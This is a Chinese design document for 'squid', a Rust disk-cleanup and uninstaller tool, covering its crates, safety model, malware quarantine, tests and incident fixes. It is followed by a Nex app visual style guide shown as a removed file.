| `fs` | `measure`, `measure_all`, `kind_of`, `remove_item_with`, `trash_path`, `trash_target_for`, `empty_trash` | 体积测量(walkdir + rayon 并行,忽略符号链接)、安全删除、跨卷回收站 |
| `safety` | `SafetyPolicy` | 见「安全模型」 |
| `settings` | `Settings`, `locale()` | `config.toml`、白名单、规则开关、`SQUID_CONFIG_DIR`/`SQUID_STATE_DIR` |
| `ledger` | `Session`, `LedgerEntry`, `write_session`, `load_sessions`, `restore` | 删除账本与 `undo` |
| `progress` | `Progress`, `Event`, `CancelToken` | 引擎与 UI 之间唯一的沟通渠道;跨线程通道,取消是协作式的 |
### squid-platform
`Platform` trait 把「这个操作系统上 App 装在哪、残留放在哪、卷怎么枚举、删除前要不要先停服务」抽象出来:
```rust
fn app_sources(&self) -> Vec<AppSource>;
fn list_apps(&self, cancel: &CancelToken, size_apps: bool) -> Result<Vec<AppInfo>>;
fn leftover_roots(&self) -> Vec<LeftoverRoot>;
fn prepare_uninstall(&self, app: &AppInfo) -> LifecycleReport; // 停 launchd / 注销 Launch Services
fn finish_uninstall(&self, app: &AppInfo, removed: &[PathBuf]) -> LifecycleReport;
fn volumes(&self) -> Result<Vec<Volume>>;
fn protected_prefixes(&self) -> Vec<PathBuf>;
fn running_executables(&self) -> Vec<String>; // 供 skip_if_running 使用
```
`LeftoverRoot { dir, naming, deep, category }` 描述一个残留目录以及它的命名方式(`BundleId` / `AppName` / `Either` / `GroupContainer`)。`deep` 默认 false —— `Application Support` 这种目录只匹配直接子项,绝不递归。
`leftovers::match_name` 负责把 `Xmind.app` 与 `com.xmind.win_zen.bundle`、`Xmind-state`、`Xmind Saved Application State` 之类关联起来。这里有两个曾经踩过的坑,回归测试已经锁住:
- 匹配前大小写要归一化(`Xmind` vs `xmind`);
- `KNOWN_SUFFIXES` 带点而文件名切分后不带点,两侧必须用同一种归一化形式比较(`has_known_suffix`)。另外 `.pdf/.png/.mp3` 这类文档后缀绝不能出现在「按名称匹配」的后缀表里,否则 `Xmind-notes.pdf` 会被当成残留删掉。
`console` 不在 `Platform` trait 里,但它回答的是同一类问题——「这台机器上的现实是什么」:控制台自称的窗口尺寸、它背后那块屏幕缓冲区的尺寸、它最大允许多大的窗口,以及一个「按 Unicode 只有 1 列宽」的字符在这里到底占几格。legacy conhost 在这两件事上都会给出错答案:进备用屏换掉的只是「正在显示的那块缓冲区」,进程的 stdout 句柄仍指着没人看的那一块,于是窗口比真正存在的格子更宽,写出一行的格子就落到下一行开头;cp936 码页又把 `─│·…↑↓✓` 这批 East Asian Ambiguous 字符收两格,而 ratatui 按一格排版。两者最后都表现为同一种花屏——屏上同时留着好几帧。所以 TUI 每一拍重新量一次尺寸(缓冲区被滚走、窗口被人拖大都算变化,只有真的变了才擦屏重画)。字形的价格归 `currency`:`Exchange` 按码位存一张兑换表,只在控制台确实多收钱时建,`afford` 在单格终端上原样返回。价是谁问的要分开说——`console::prices` 逐字符把答案量回来给界面,`squid_tui::glyphs` 因此只剩 ratatui 那一半:`witnesses` 从界面源码和 widget 里收集本界面会画的所有歧义字符,`Carry` 走一遍成品帧把付不起的字符换成 ASCII;`console::prices_unasked` 只取码页隐含的悲观答案给命令行,因为测量要往控制台上正显示的东西写一个字符再擦掉,而命令行是那台屏幕上的客人,它不该买这个答案,代价是在单格终端被码页误伤的机器上少一个 `█`、多一个 `#`。两边各有一条测试钉住「画的字符」与「问过的字符」是同一份:界面是 `every_glyph_this_interface_draws_has_a_price` 和 `the_probe_asks_the_price_of_everything_that_ends_up_on_the_screen`,命令行是 `no_line_of_chrome_escapes_the_counter`,它扫描 `main.rs`,要求除 JSON 和空行之外每个 print 都过 `priced`。`SQUID_SYMBOL_CELLS` 供人强制指定,`SQUID_CONSOLE_TRACE` 把控制台自己的几个数字写进文件留证。
`process` 也只回答一个「这台机器上怎么停掉一个进程」的问题,而它值一个模块的理由是「为什么没停掉」必须由操作系统来回答。`force_stop(pid)` 在 unix 上发 `SIGKILL`,在 Windows 上 `OpenProcess(PROCESS_TERMINATE)` + `TerminateProcess`,两边是同一个承诺:立刻停,不保存任何东西——所以界面在三套系统上都写「强制结束」,而不是它并没做过的「退出」。`sysinfo` 的 `Process::kill()` 也能办成这件事,但它只回一个 `false`,而 `EPERM`(你不是那个用户 → 换个提权的终端)和 `ESRCH`(它自己早走了 → 什么都不用做)要求的动作恰恰相反,把两种结果压成同一句报错,等于教用户从此不再信报错。规则也放在这里,因为操作系统并不拦下一切:非提权进程本来就碰不到 macOS 的 `WindowServer`,但提权后的 `squid` 在 Windows 上是真的能打开 `csrss.exe` 的,一次按错的回车换来一次不带询问的重启,六个名字的表换这个结果是划算的(`svchost` 故意不在表里:它承载的服务用户确实可能要重启,且少一个也不至于起不来)。`pid_refusal` 与 `refusal` 拆成两个问题,因为它们被问的时刻不同:前者问的是界面手里那个数字,后者要等真正读到进程的名字。这个模块只对着 pid 说话——「此刻的 pid 还是不是用户读到的那个进程」是关于 sample 的问题,问在 sample 待着的地方。
### squid-rules
规则是 TOML,内置于 `crates/squid-rules/rules/macos.toml`(39 条),通过 `include_str!` 编译进二进制;用户规则从 `<config_dir>/rules/*.toml` 合并,同 `id` 覆盖内置。
```toml
[[rule]]
id = "xcode-derived-data"
category = "developer"
patterns = ["~/Library/Developer/Xcode/DerivedData/*"]
mode = "path" # path = 删除条目本身;contents = 只清空目录内容
os = ["macos"]
protect = ["SomeKeep", "SomeKeep/*"]
min_age_days = 3
select_by_default = true
needs_admin = false
skip_if_running = ["Docker Desktop", "com.docker.backend"]
risky = true
note = "Xcode 会重新生成。"
```
核心是 `expand_pattern(pattern) -> Vec<Match{path, anchor}>`:
- `*` **不跨越路径分隔符**(globset 语义),所以 `~/Library/Caches/*` 只会命中一层;
- 每条匹配都携带 **anchor(锚点)** —— 模式的最长字面量前缀。锚点是删除时的权限边界:`SafetyPolicy` 只允许在锚点之下删除,且拒绝锚点自身。这条设计使得「一条规则写错」的最坏后果被限制在该规则自己的目录里;
- 不含通配符的字面模式(如 `~/.cargo/.package-cache`)匹配的是这个文件本身、锚点取其父目录。曾经有个 bug 是把锚点当成了匹配结果,等于提出删除整个 `~/.cargo`——已有回归测试 `wildcard_free_patterns_match_the_file_not_the_parent`。
`risky` 与 `skip_if_running` 是给「体积巨大但语义危险」的规则准备的刹车,典型是 `container-images`:Docker 的 VM 磁盘可能有 1 TB,一旦正在运行还去删就是数据事故,所以它既不默认勾选、又在检测到 Docker/OrbStack 进程时直接锁定。
### squid-stats
`Sampler::{new, prime, refresh}` 基于 `sysinfo`,两次采样之间才有 CPU%/网速,因此 `prime()` 是必须的预热步骤。产出 `SystemSnapshot{cpu, memory, network, disk, uptime_secs, top_processes, volumes, battery, host}` 与 `TrendStore`(滚动历史,给 TUI 的迷你折线/柱状图)。`battery.rs`、`human_uptime()` 提供 iStat 式细节。
界面既然能列出谁在跑,就会被要求停掉谁,`Sampler::stop(sample)` 是这件事唯一的入口。它先按 pid 挡掉 squid 自己、机器的第一个进程和 Windows 的 System,再用 `sample_of(pid)` 重读一次:读不到就是「已经不在了」,读到的名字对不上也算「已经不在了」(用户指着的那个进程确实没了,无论 pid 朝哪个方向移动),只有名字仍然相符,才轮到 `squid_platform::process::force_stop`。名字之所以能当这个凭据,靠的是 `top_processes`、`applications` 与 `sample_of` 共用同一个 `shown_name`——三处各自截一次尾段,凭据就有三份写法。`sample_of` 是公开的:它给的正是界面此刻会为这个 pid 画出来的那一行,测试拿它造一条诚实的行,界面将来只重画一行也用得上。键位是 `x`:它在文件面板上一直是「删除」,系统状态面板上没有可删的东西、只有进程,同样的手指落到同样的动词上。规则当场命中的那些(自己、第一个进程、Windows 的引导进程)直接 toast 原因、不弹确认框:为一个规则注定会拒绝的动作去要许可,是把确认框变成戏剧。
### squid-engine
| 引擎 | 做法 |
| --- | --- |
| `clean` | 遍历规则 → `expand_pattern` → `protect`/年龄/白名单/运行中过滤 → `measure_all` 并行测体积 → `sort_for_display` 按分组排序。`--orphans` 会额外调用平台残留匹配,寻找已消失 App 的孤儿目录 |
| `uninstall` | `scan_apps` 建立 App 清单(名称、bundle id、体积、是否运行中、Homebrew cask)→ `find` 模糊定位 → `build_plan` 生成「本体 + 按 bundle id/名称匹配的残留」→ 用户确认 → `remove_plan`(含平台 `prepare_uninstall`/`finish_uninstall` 钩子)。共享给同厂商多个安装的残留会被 `LockReason::SharedWithOtherInstall` 锁住 |
| `purge` | 遍历 `purge_roots`(或用户给定路径,默认深度 6、最多 30 万目录),把 `ALWAYS`(node_modules、target、DerivedData、`.venv`…)识别为可再生;`AMBIGUOUS`(dist、build、out、venv…)只有当同目录存在 `package.json`/`Cargo.toml`/`go.mod` 等 PROJECT_MARKERS、或用户显式 `--all` 时才提出。`DO_NOT_DESCEND` 阻止进入 `.git`、Library、挂载点等。附带 APFS 本地快照(`com.apple.TimeMachine*`)与旧 iOS 备份、磁盘镜像等非目录项 |
| `analyze` | DaisyDisk 式体积树:`explore`/`expand` 逐层展开、`largest_files`、`buckets` 分类聚合。总量在遍历超限时标记为下限而非真值 |
### squid-tui
ratatui + crossterm。六个面板 `Cleanup / Uninstall / Purge / Storage / Stats / History`,`App` 是唯一状态机,键盘事件 → `Action` → 重绘。
- **绝不阻塞 UI**:每个引擎调用都通过 `job::spawn` 跑到独立线程,返回 `JobHandle<T>`;`Progress` 事件与最终结果走两条 crossbeam 通道,事件循环 `poll()` 非阻塞取结果。取消是协作式的 `CancelToken`。
- 每个 job 自己 `Engine::new()`,避免跨线程借用,代价是每次扫描重读一遍小 TOML。
- `theme::Strings::t(en, zh)` 集中管理双语文案,`Palette`/`card()` 复刻 CleanMyMac 的暗色卡片观感(背景 `Rgb(16,18,23)`、强调色 `Rgb(86,182,246)`、圆角卡片)。
调色板只写 RGB,输出一律经 `Palette::resolve`:`SQUID_TRUECOLOR` → `COLORTERM` → `TERM_PROGRAM` → `TERM`
依次探测真彩色能力,不支持时映射到 xterm-256(灰阶走 24 级灰条)。Terminal.app 只认 256 色,
少了这一步它会把 `48;2;…` 当文字打出来,暗色主题直接变成白底黑字。
- **选中状态不能只靠颜色**:`Palette::selected_for(truecolor)` 在真彩色下是强调色条,降级终端里是
`REVERSED | BOLD`(反白由终端自身的前景色/背景色完成,灰度终端同样成立);勾选状态另有加粗 `●`
与细体 `○` 两条冗余通道。`close_gaps` 负责让高亮行成为连续的一整条:列分隔用的是无样式
`Span::raw(" ")`,反白时会在行里留下一道道暗缝,所以只在「整行非空白 span 样式一致」时把空白也染上;
路径列只截断不补齐,因此 `item_row` 末尾还会按显示宽度补一段同色空格,让高亮条一直顶到卡片右边框。
- **一个 widget 只有一套下标**:`ListState::selected` 是 ratatui 用来定位滚动窗口的行号,高亮却由每一行自己画,两者必须数同一批行。卸载列表把「大小/名称/版本」表头(筛选时还多一行 filter chip)和条目一起塞进同一个 `List`,`selected` 就此比样式多算了一两行:第一屏看不出来,列表一超过一页,窗口按「光标上面那一行」定位,高亮行被挤出可视区,用户看到的是「下翻之后没有高亮了」——Mac 与 Windows 同因,因为它跟终端无关。清理面板从不出现这个现象,`ScanPanel::lines` 里只有条目,标题挂在 card 的 block 上。现在的写法把表头和 filter chip 当作 chrome 单独走一段 `Layout`:`Paragraph` 拿上面,`List` 只拿条目。`the_app_under_the_cursor_is_the_row_that_is_on_screen` 遍历每一个光标位置(含筛选态)断言「光标那一行就是屏幕上那一行、且带着强调色与加粗」,因为它无法靠猜某个卡片高度通过。
### squid-guard
恶意软件扫描、检测规则与可逆隔离。它是唯一一个会**移动用户文件**的新 crate,所以它的
设计重心不是「能找到什么」,而是「在没有 Developer ID 与 Authenticode 的发布方式下,
怎样做到不伤人」。
| 模块 | 职责 |
| --- | --- |
| `scan` | 扫描编排:`ScanTarget::{Quick,Full,Paths}` → 采集 → 判定 → `ScanReport`。`Guard` 装配规则、哈希表、缓存与排除项 |
| `rules` | YARA-X `Detector`、`HashIndex`,以及决定「这个文件值不值得打开」的门(`plausible_by_name_in` / `worth_scanning_in` / `layout_of`)|
| `heuristics` | 无签名 / 世界可写 / 登录项 / 伪装名称,产 `Evidence`;`CEILING = Suspicious`,永远到不了 Confirmed |
| `findings` | `Confidence::{Advisory,Suspicious,Confirmed}`、`Evidence`(带 `key()` 与 `summary()`)、`Finding` |
| `coverage` | 每个 root 的结果:walked / denied / absent。**读不到不等于干净**,二者在报告里是不同的值 |
| `quarantine` | 账本 + 惰性对象 + 字节一致恢复 |
| `intel` | 规则包格式、验签、安装与回退 |
| `store` | 判定缓存(按文件身份)+ 上一次扫描 + 最近活动,落 `<state>/security/` |
`squid-guard` 刻意不依赖 `squid-engine`:清理引擎的一切前提都是「这东西可再生,删了
没事」,而隔离的全部难度恰恰在于「这是用户自己的文件,必须能原样放回去」。它复用
`Progress`、`CancelToken` 与 `paths`,但不复用删除路径。
三条不变量,都有测试钉住:
1. **扫描不删除任何东西。** 唯一会移动文件的是隔离,而隔离只接受后端发出的 finding id。
界面永远不能提交一个路径来要求隔离:`security_quarantine(finding_id)` 查的是后端自己
存下的那份扫描,再核对哈希、大小与文件身份;扫描之后被换过的文件会被拒绝,而不是按
一行过期记录搬走。
2. **只有 `confirmed` 可能被自动隔离**,且默认关闭(`security.auto_quarantine = false`)。
`suspicious` 只报告。级别由两处分别决定后取最大值:已发布探测器(哈希 / YARA)按自己的
等级说话,启发式则要求**两个信号互相印证**——单个「无签名」是提示,「无签名 + 开机启动」
才是可疑。这一条是实测逼出来的:一台干净的 Mac 按旧规则会报出 975 条可疑,其中 951 条
只是「带执行位的文本文件」,而这么长的列表最终的下场是被人整个忽略掉。
3. **不上传。** 这个 crate 里没有任何函数接收本地路径再发出网络请求。规则包只下载。
`xprotect update` 永不被调用:这台机器要不要向 Apple 的服务器取定义,不是第三方 App 能
替用户决定的事。`squid-platform::protection` 只读 `status` / `version` / `spctl`,读不到
就报 `known = false`,界面据此显示「无法确认」而不是绿色。
**门(gate)比规则更决定可用性。** 一次快速扫描会路过约 105 万个文件,其中 34 万个是没有
扩展名的数据文件。判定顺序按代价排列:名字(免费,遍历时已经在手)→ `stat`(大小、执行位)
→ 目录形状(bundle 内部只看主可执行文件与 `Info.plist`,否则光是 `/Applications` 就吃掉
十 GB)→ 只有浏览器下载目录才去读头八个字节。用户自己指名的目录是例外:那里按内容判定,
因为 `eicar.com` 的后缀和它的身份本来就互相矛盾。最终约 1,900 个文件 / 6.2 GB,冷启动
26 秒、命中缓存 9 秒。
一处性能教训值得留在这里:判定缓存与候选去重原本都是 `Vec` 加 `paths::same_path` 线性
查找,而 `same_path` 每次比较都要重建一条路径的组件向量。15,000 个文件下这就是几十亿次
字符串分配——快速扫描跑十分钟、CPU 满核,看着像磁盘慢,其实是纯 CPU。现在两处都按
`paths::canonical_key` 建索引,并且有测试断言 `canonical_key` 与 `same_path` 判定一致:
键和判定不一致,就等于把一份缓存结论用到了另一个文件身上。
隔离区不是废纸篓。对象被放进 Squid 自己的状态目录、清掉执行位、权限收紧到仅属主,账本与
对象放在一起,所以「隔离了一个登录项」意味着它下次开机真的不会起来。恢复按原始路径、模式
与时间戳放回,且恢复前要确认。
规则包与安装包用**不同的密钥**签名:轮换发布密钥不应该顺手改变谁能推规则,泄漏了安装包
密钥也不应该变成一条规则注入路径。包格式把 manifest 与 source 存在同一个文件里,读到什么
就一起验什么,避免「新包配旧 manifest」这种两半漂移。任何一次更新失败都保留上一版可用
规则,并且会清空判定缓存——旧规则给出的结论不是新规则给的结论。
### squid-cli
clap derive。约定:
- `--json` 时 stdout 只允许是数据。所有人类可读输出经 `DIAG_STDERR` 改道 stderr,`squid clean --json | jq` 永远干净;
- stdin 不是 TTY 且没有 `-y/--yes` 时,拒绝执行真实删除;
- 输出宽度按 `terminal_width()` 自适应,列宽用显示宽度(CJK 占两列)对齐,`clip` 截断 + `fit` 补空格。
## 安全模型(分层)
| 层 | 位置 | 拦截什么 |
| --- | --- | --- |
| 规则自我约束 | `squid-rules` | `protect`、`min_age_days`、`select_by_default=false`、`risky`、`skip_if_running`、`os` |
| 锚点边界 | `CleanupItem::anchors` + `SafetyPolicy::check` | 只允许在规则声明的锚点之下删除,且永不删除锚点自身 |
| 硬性禁区 | `safety::HARD_DENY` | `/`、`/usr`、`/System`、`/Library`、`/Applications`、`/private/var/folders`、`/Volumes`… 无论什么规则都拒绝 |
| 危险目录 | `safety::DENY_EXACT` | `~/Library`、`~/Documents`、`~/.ssh`、`~/.aws`、`~/Library/Application Support/MobileSync`… 允许删子项、禁止整目录递归删 |
| 深度 / 家目录 / 符号链接 | `SafetyPolicy{min_depth, allow_system_paths, follow_symlinks}` | 非 root 时拒绝家目录之外的路径(`OUTSIDE_HOME_OK` 例外);递归删除必须有最小深度;永不跟随符号链接 |
| 卷 | `forbidden_mounts` | 由 `platform.volumes()` 注入,不删别的卷 |
| 用户白名单 | `Engine::is_whitelisted` | glob 命中即永不选中 |
| 运行时状态 | `LockReason` | App 正在运行、被其它安装共享、权限不属于当前用户 |
| 兜底 | 默认 Trash + `--dry-run` + 账本 + `undo` | 前面全漏了还能还原 |
`Engine::new()` 会根据是否 root 选择 `SafetyPolicy::system()` 或 `user_only()`,后者拒绝家目录之外的路径,
例外只有 `OUTSIDE_HOME_OK = ["/Applications"]`:管理员组的普通用户在 Finder 里把 App 拖进废纸篓不需要密码,
卸载器必须做同一件事。例外只覆盖 `/Applications` **里的条目**(目录本身仍在 `HARD_DENY`),
且 root 拥有的 App 早在 `build_plan` 就被 `writable_by_us` 锁住了。
### 事故记录:卸载「成功」了,App 还在
一次用户反馈「选中 Chatbox → d → 确认 → 毫无反应」,最后挖出四层独立原因,每一层都足以让事故静默:
1. `pending_plan` 从未被赋值(见下一节);
2. 任务运行期间所有变更键被 `if self.busy() { return }` 静默吞掉,`confirm_delete()` 还会顺手清空
`confirm` + `pending`——用户的「是」被吃掉了。现在统一走 `App::busy_refusal()`,明确提示「上一个任务
还在进行,或按 c 取消」,并且**保留**审批;
3. **App 本体的锚点不存在**:`.app` 条目过去复用 `default_anchors()`,而那份锚点表里根本没有
`/Applications`——它是「squid 被允许进去打扫的文件夹」清单,应用程序目录不是。于是每个卸载计划都是
批准 6 项、删除 5 项,`.app` 带着「outside every declared cleanup anchor」被跳过。现在
`bundle_anchors()` 取 bundle 的**父目录**作为锚点,既最小又不越权;
4. **非 root 走不到 `/Applications`**:`user_only()` 的家目录规则把系统 App 一律拒绝。见上面的
`OUTSIDE_HOME_OK`。
同一次排查还修了 Plan 视图的一个隐性错位:它用 `index == 0` 认定第一行是「应用本体」,而
`build_plan` 是按体积降序排序的——一旦某个容器比 App 大,就有一项残留被藏进表头、下面每行都错一位。
现在按 `rule_id == "uninstall-bundle"` 识别,行与光标严格一一对应。
教训写进断言里:`the_bundle_itself_passes_the_safety_policy`、
`a_plain_user_can_still_uninstall_into_applications`、`a_busy_app_answers_instead_of_ignoring_you`、
`the_plan_view_shows_the_bundle_and_every_leftover`(后者读回测试缓冲区:三项计划必须画出三个勾选行、
表头文案不得占据其中任何一行、加粗的那一行永远是 `.app`、光标落在哪一行就高亮哪一行)。
删除路径的测试必须把沙盒建在**真实形态**的位置上:早先的卸载测试把假 App 放在 `~/Library/Caches/…` 下,
正好落在锚点里,所以这个 bug 一路绿灯。
## 数据流
```
config.toml ─┐
├─► Engine{platform, settings, rules, safety, whitelist}
rules/*.toml ┘ │
├── scan() ─► Vec<CleanupItem> ─► CLI 表格 / TUI 面板
│ │ 用户勾选
│ ▼
└── delete::execute(DeleteJob) ─► SafetyPolicy 复检
│ fs::remove_item_with
│ ledger::write_session
▼
~/Library/Application Support/squid/history/<session>.json
│
squid undo ─► ledger::restore ─► rename 回原路径
```
## 性能
体积测量是这类工具唯一的重活。做法:`walkdir`(`contents_first(false)`、`max_open(64)`、跳过符号链接)单目录内顺序遍历,`measure_all` 在条目之间用 rayon 并行(线程数 `clamp(4,16)`),每完成一个条目就发一次进度事件,所以 UI 的进度条是真实进度而不是假动画。`purge` 用 `max_entries` 限制单项目文件数、`MAX_DIRS` 限制总目录数,超限时明确标注结果是下限。实测 `clean --dry-run` 在 18 万条目 / 30 GB 量级上约 5 秒。
## 跨平台移植指南
新增一个平台 = 实现 `Platform` + 提供规则文件,**引擎与 UI 一行都不用改**。
1. 新建 `squid-platform/src/<os>.rs`,实现 `Platform`;在 `lib.rs::current()` 里返回它。
2. 决定 `app_sources()` 与 `leftover_roots()`:命名方式(bundle id / 名称 / 容器)决定残留匹配器怎么配。
3. 补 `safety::HARD_DENY` / `DENY_EXACT` 里该系统的禁区(Windows:`C:\Windows`、`C:\Program Files`;Linux:`/snap`、`/nix`、`/var/lib`)。
4. 新增 `crates/squid-rules/rules/<os>.toml`,并在 `RuleSet::builtins()` 里 `include_str!`。规则里的 `os = [...]` 字段决定它在哪个平台生效。
5. 回收站语义:`fs::trash_target_for` 需要该系统的回收站位置与命名规则(macOS 是 `~/.Trash` 与卷根 `.Trashes/<uid>`;Linux 是 XDG `~/.local/share/Trash/files`;Windows 需要 `$Recycle.Bin` 或 Shell API)。
6. 提权:macOS/Linux 用 `sudo` 重跑(`needs_admin` 的规则在非 root 时只报告不执行);Windows 需要 UAC。
现状:macOS 完整;Linux 有 `.desktop`/Flatpak/Snap 与 XDG 残留实现,缺规则文件与真机验证;Windows 平台层已实现并在真机跑通(注册表卸载表、AppData 残留、卷枚举、`IFileOperation` 回收站、`console` 的尺寸与字形探测),缺 UAC 提权与长路径 manifest。
## 测试策略
166 个测试(`cargo test --workspace`)。三类:
- **纯逻辑**:字节格式化、glob 与锚点、规则解析、名称匹配、安全策略拒绝表 —— 这些是最有价值的,因为它们把「曾经出过的事故」变成断言。
- **引擎级**:在临时目录 / `~/Library/Caches/squid-delete-test-*` 里搭沙盒,跑真实 scan + delete。
- **状态隔离**:删除类测试必须调用 `isolate_state()`,用 `SQUID_STATE_DIR` 把账本重定向到临时目录,否则测试会话会污染用户真实的 `squid history`。
约定:CI 门禁是 `cargo clippy --workspace --all-targets -- -D warnings` + `cargo test --workspace --no-fail-fast`。任何删除相关改动必须同时提供 Trash 往返(delete → undo → 字节一致)测试。
### 确认框背后的不变量:`Approval` 枚举
TUI 的「按 d → 确认 → 执行」曾经出过一次典型的静默失败:`App` 上有两个平行字段
`pending: Option<Vec<CleanupItem>>` 与 `pending_plan: Option<UninstallPlan>`,卸载流程只写了
后者对应的读逻辑,`pending_plan` 从来没被赋成 `Some`,于是 `confirm_delete()` 里
`let Some(plan) = self.pending_plan.take() else { return }` 直接返回——用户按了回车,什么也没发生,
什么也没说。
修复方式不是补一行赋值,而是让非法状态无法表达:两个字段合并成
`pending: Option<Approval>`,`Approval` 是 `Items { items, purge } | Plan(UninstallPlan) |
UndoSession(String) | StopProcess(ProcessSample)` 四个变体。多出来的那个是系统状态面板的「强制结束进程」,它同样必须先构造出自己才问得出确认框;它带的是 sample 而不是 pid,因为 pid 是重复发放的座位号、不是人:用户读到的是名字,会被杀掉的是号码,把两者分开的唯一办法是把它们一起带到执行处(复核在 `squid_stats::Sampler::stop`)。`ask_delete()` 与 `ask_stop_process()` 都必须构造其中一个才问得出确认框;确认框能打开,
就必然有可执行的内容。`confirm_delete()` 对 `None` 的情况显式 toast「没有待确认的内容,请重新按 d」,
把「静默」变成「可见」。`app.rs` 里那三个回归测试直接驱动 `ask_delete() → confirm_delete() → poll()`
到任务结束,断言 `outcome.summary.removed == N`,覆盖卸载、清理/深度清理、以及空确认框三条路径。
## 许可证
squid 以 `GPL-3.0-only` 发布,全文见仓库根目录的 [`LICENSE`](../LICENSE)。七个 crate 通过
`[workspace.package] license` 继承同一份许可,`scripts/release.sh` 把 `LICENSE` 与 `README.md`
一起打进发布包,`packaging/homebrew/squid.rb` 声明同一 SPDX 标识符。

View File

@ -1,135 +0,0 @@
# Nex 应用视觉规范
版本:1.1
状态:Nex 系列应用统一标准
基准实现:`nex_shift` 的主色系
## 1. 原则
Nex 系列应用共用一套暖色品牌体系。Shift 已经使用的橙色是主品牌色,
Squid 以及后续 Nex 应用不得再各自定义蓝色或其它颜色的主操作色。
- 主操作、选中态、焦点环和进度使用 Nex 主色。
- 页面底色、卡片和正文使用暖中性色,不使用冷蓝色底。
- 绿色、红色、黄色只表达成功、危险和警告,不作为品牌主色。
- 图表、分类和装饰只使用主色、暖中性色或成功/警告/危险状态色。
- 不引入蓝色、紫色、青色、粉色等第二品牌色;状态色也不得用于装饰。
- 新界面必须引用 `src/styles.css` 中的 `--nex-*` 常量,不写新的主色十六进制值。
## 2. 品牌常量
这些值同时写在 `src/styles.css` 的 `:root` 中,是运行时唯一来源。
| 常量 | 值 | 用途 |
| --- | --- | --- |
| `--nex-primary` | `#F26A33` | 主按钮、选中态、焦点、进度 |
| `--nex-primary-hover` | `#E45C2A` | 主色悬停 |
| `--nex-primary-strong` | `#D94F1F` | 主色深阶、主按钮渐变终点 |
| `--nex-primary-pressed` | `#C94A1D` | 按下态 |
| `--nex-primary-soft` | `#FFF0E7` | 主色浅底、权限提示 |
| `--nex-primary-tint` | `#FFF7F2` | 选中卡片、弱高亮 |
| `--nex-ink` | `#342019` | 正文 |
| `--nex-ink-strong` | `#24120A` | 标题 |
| `--nex-muted` | `#7D6256` | 次级文字 |
| `--nex-muted-soft` | `#A98F80` | 说明文字 |
| `--nex-line` | `rgba(89, 51, 34, 0.10)` | 分隔线 |
| `--nex-paper` | `#FBF7F2` | 面板 |
| `--nex-cream` | `#FFF6EE` | 浅色表面 |
| `--nex-canvas` | `#F5EEE7` | 应用底色 |
主色高亮需要透明度时使用 `rgba(var(--nex-primary-rgb), α)`,其中
`--nex-primary-rgb` 为 `242, 106, 51`。
### 状态色
| 常量 | 值 | 用途 |
| --- | --- | --- |
| `--nex-success` / `-strong` / `-soft` | `#17865F` / `#126D4C` / `#E7F8F1` | 完成、安全、已授权 |
| `--nex-warning` / `-strong` / `-soft` | `#A97729` / `#8C6C40` / `#FFF8E9` | 警告、需要注意 |
| `--nex-danger` / `-strong` / `-soft` | `#C85A62` / `#A64048` / `#FFEDEF` | 错误、危险操作 |
对应的 `--nex-success-rgb`、`--nex-warning-rgb`、`--nex-danger-rgb`
用于状态色透明度。组件通过 `.tone-primary`、`.tone-success`、
`.tone-warning`、`.tone-danger`、`.tone-neutral` 五种语义色调取色,
不新增分类专用色调。
## 3. 图标渐变
应用图标的品牌渐变沿用 Shift:
- 起点 `#FFB25C`
- 中段 `#FF6B35`
- 终点 `#C66BFF`
图标主体允许保留应用图标自身的暖橙渐变与粉色高光;它们属于图标资产,
不得扩展为界面装饰色。图标主体的描边和阴影必须使用暖色,不得保留旧版蓝色。
### 侧栏品牌锁定
侧栏标识直接使用打包进应用的 `src-tauri/icons/128x128.png`,不得维护第二份
图标资源。默认视觉为 37 × 37 px、12 px 圆角。
- 一级标题固定为 `Squid`,使用 `--nex-text-lg` / `--nex-weight-display`。
- 中文二级标题固定为 `给你的电脑洗个澡`;英文为
`Give your computer a bath`,使用 `--nex-text-3xs` / `--nex-weight-body`。
- 所有 Nex 应用使用同一锁定结构:应用图标、产品名、产品定位短句。
## 4. 字体规范
字体与 Shift 使用同一套系统字体栈和字号阶梯。所有新界面必须引用下面的
常量,不得再写 7–10px 等阶梯外的字号。
| 常量 | 值 | 用途 |
| --- | --- | --- |
| `--nex-font-sans` | `-apple-system, BlinkMacSystemFont, "SF Pro Display", "Segoe UI", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei", sans-serif` | 界面正文 |
| `--nex-font-mono` | `"SF Mono", "Cascadia Code", ui-monospace, monospace` | 路径、哈希、配置值 |
| `--nex-text-3xs` | `11px` | 最小辅助文字与标签 |
| `--nex-text-2xs` | `12.5px` | 正文说明、列表文字 |
| `--nex-text-xs` | `13.5px` | 面板标题 |
| `--nex-text-sm` | `14.5px` | 强调正文 |
| `--nex-text-md` | `16px` | 区块标题 |
| `--nex-text-lg` | `18px` | 品牌与重点标题 |
| `--nex-text-xl` | `21px` | 对话框标题 |
| `--nex-text-hero` | `clamp(28px, 3vw, 38px)` | 页面主标题 |
字重沿用 Shift 的层级:`540` 正文、`620` 中等、`650` 半粗、`680` 粗体、
`720` 重体、`760` 品牌展示。对应常量为 `--nex-weight-body`、
`--nex-weight-medium`、`--nex-weight-semibold`、`--nex-weight-bold`、
`--nex-weight-heavy`、`--nex-weight-display`。
行高常量:`--nex-leading-tight: 1.1` 用于标题,
`--nex-leading-body: 1.55` 用于说明正文。
## 5. 组件规则
- 主按钮:`#FF9664 → --nex-primary → --nex-primary-strong` 的暖色渐变。
- 次按钮:暖白表面、暖棕文字,悬停时使用主色描边。
- 选中卡片:`--nex-primary-tint` 背景与 10% 主色描边。
- 焦点环:`rgba(var(--nex-primary-rgb), 0.55)`,宽度 2px。
- 进度条、开关、勾选框:主色或主色渐变。
- 正文不使用纯黑;标题使用 `--nex-ink-strong`。
- 更新面板面向使用者,只展示当前系统版本、版本状态、更新说明、进度与操作;
更新地址、安装包文件名和哈希留在后端校验流程中,不进入常规界面。
- 下载完成后的“放弃”使用中性描边按钮:34px 高、9px 圆角、暖白半透明表面、
`--nex-ink` 文字;悬停仅切换主色描边与白色表面,与 Shift 保持一致。
- 软件更新不再重复显示“已是最新版本”;当前版本只在系统信息面板中展示,
只有发现更新包时才展开版本变化与操作区。
## 6. 语言与本地化
- 首次启动默认跟随系统语言:macOS 读取 `AppleLocale` / `AppleLanguages`,
Windows 读取 `GetUserDefaultUILanguage`,Linux 读取标准 locale 环境变量。
- 设置中只提供“简体中文”和“English”两个语言选项;尚未手动选择时,选中项反映当前系统语言。
- 手动选择语言会写入 `config.toml` 的 `language`,后续启动继续使用该选择。
- 托盘菜单与主界面使用同一语言,并在切换后立即刷新。
